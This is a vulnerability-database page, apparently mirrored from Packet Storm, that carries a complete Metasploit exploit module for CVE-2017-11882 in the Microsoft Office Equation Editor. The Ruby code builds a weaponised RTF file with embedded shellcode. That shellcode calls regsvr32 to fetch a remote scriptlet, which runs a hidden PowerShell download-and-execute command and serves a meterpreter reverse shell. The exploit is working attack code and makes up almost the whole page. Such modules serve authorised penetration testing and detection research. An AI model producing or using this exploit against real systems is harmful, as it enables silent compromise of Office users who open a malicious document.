Lucene search
K

Microsoft Office Equation Editor Code Execution

🗓️ 06 Dec 2017 00:00:00Reported by embediType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 314 Views

Microsoft Office Equation Editor Code Execution. Exploits a flaw in how the Equation Editor allows an attacker to execute arbitrary code in RTF files without interaction caused by the Equation Editor's failure to handle OLE objects in memory

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Powershell  
include Msf::Exploit::EXE  
include Msf::Exploit::FILEFORMAT  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Office CVE-2017-11882',  
'Description' => %q{  
Module exploits a flaw in how the Equation Editor that  
allows an attacker to execute arbitrary code in RTF files without  
interaction. The vulnerability is caused by the Equation Editor,  
to which fails to properly handle OLE objects in memory.  
},  
'Author' => ['mumbai', 'embedi'],  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Nov 15 2017',  
'References' => [  
['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],  
['URL', 'https://github.com/embedi/CVE-2017-11882']  
],  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
['Microsoft Office', {} ],  
],  
'DefaultTarget' => 0,  
'Payload' => {  
'DisableNops' => true  
},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
}  
))  
  
register_options([  
OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),  
OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])  
])  
end  
  
def retrieve_header(filename)  
if (not datastore['FOLDER_PATH'].nil?)  
path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"  
else  
path = nil  
end  
if (not path.nil?)  
if ::File.file?(path)  
File.open(path, 'rb') do |fd|  
header = fd.read(fd.stat.size).split('{\*\datastore').first  
header = header.to_s # otherwise I get nil class...  
print_status("Injecting #{path}...")  
return header  
end  
else  
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"  
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"  
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'  
end  
else  
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"  
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"  
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'  
end  
return header  
end  
  
  
  
def generate_rtf  
header = retrieve_header(datastore['FILENAME'])  
object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '  
object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'  
object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'  
object_class << '09000600000000000000000000000100000001000000000000000010000002000'  
object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'  
object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'  
object_class << '07400720079000000000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'  
object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'  
object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000003'  
object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'  
object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'  
object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'  
object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << "00000300040000000000000000000000000000000000000000000000000000000"  
object_class << "000000000000000000000000000000000000000000000000000000000000000\n"  
  
  
shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0  
shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al  
shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax]  
shellcode << "\x9e" # 6: 9e sahf  
shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0]  
shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\xc8" # f: 00 c8 add al,cl  
shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi]  
shellcode << "\\" # 12: 5c pop esp  
shellcode << "\x00\xc4" # 13: 00 c4 add ah,al  
shellcode << "\xee" # 15: ee out dx,al  
shellcode << "[" # 16: 5b pop ebx  
shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al  
shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax  
shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx]  
shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx]  
shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl  
shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44  
shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678  
shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx  
shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax]  
shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx]  
shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx]  
shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c  
shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx  
shellcode << "\x53" # 3e: 53 push ebx  
shellcode << "\x51" # 3f: 51 push ecx  
shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64  
shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx  
shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi]  
shellcode << "\x53" # 49: 53 push ebx  
shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c  
shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax]  
shellcode << "\x90" # 50: 90 nop  
shellcode << "\x90" # 50: 90 nop  
  
footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'  
footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'  
footer << '00000000000000000000000000000000000000000000000000000'  
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000400'  
footer << '0000C5000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'  
footer << '000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000000000'  
footer << '000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'  
footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000001050000050000000D0000004D45544146494C'  
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'  
footer << '500000002001C0000000000050000000902000000000500000002'  
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'  
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'  
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'  
footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'  
footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'  
footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'  
footer << '00030000000000' + "\n"  
footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"  
footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"  
footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"  
footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"  
footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"  
footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"  
footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"  
footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"  
footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"  
footer << "00000000\n"  
footer << "}}}\n"  
footer << '\par}' + "\n"  
  
  
payload = shellcode  
payload += [0x00402114].pack("V")  
payload += "\x00" * 2  
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"  
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first  
payload = header + object_class + payload + footer  
payload  
end  
  
  
  
def gen_psh(url, *method)  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
  
if method.include? 'string'  
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))  
else  
# Random filename to use, if there isn't anything set  
random = "#{rand_text_alphanumeric 8}.exe"  
# Set filename (Use random filename if empty)  
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']  
  
# Set path (Use %TEMP% if empty)  
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')  
  
# Join Path and Filename  
file = %Q(echo (#{path}+'\\#{filename}'))  
  
# Generate download PowerShell command  
download_string = Rex::Powershell::PshMethods.download_run(url, file)  
end  
  
download_and_run = "#{ignore_cert}#{download_string}"  
  
# Generate main PowerShell command  
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)  
end  
  
def on_request_uri(cli, _request)  
if _request.raw_uri =~ /\.sct$/  
print_status("Handling request for .sct from #{cli.peerhost}")  
payload = gen_psh("#{get_uri}", "string")  
data = gen_sct_file(payload)  
send_response(cli, data, 'Content-Type' => 'text/plain')  
else  
print_status("Delivering payload to #{cli.peerhost}...")  
p = regenerate_payload(cli)  
data = cmd_psh_payload(p.encoded,  
payload_instance.arch.first,  
remove_comspec: true,  
exec_in_place: true  
)  
send_response(cli, data, 'Content-Type' => 'application/octet-stream')  
end  
end  
  
  
def rand_class_id  
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"  
end  
  
  
def gen_sct_file(command)  
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).  
if command == ''  
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}  
# If a command is provided, tell the target system to execute it.  
else  
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}  
end  
end  
  
  
def primer  
file_create(generate_rtf)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Dec 2017 00:00Current
8.8High risk
Vulners AI Score8.8
EPSS0.94354
314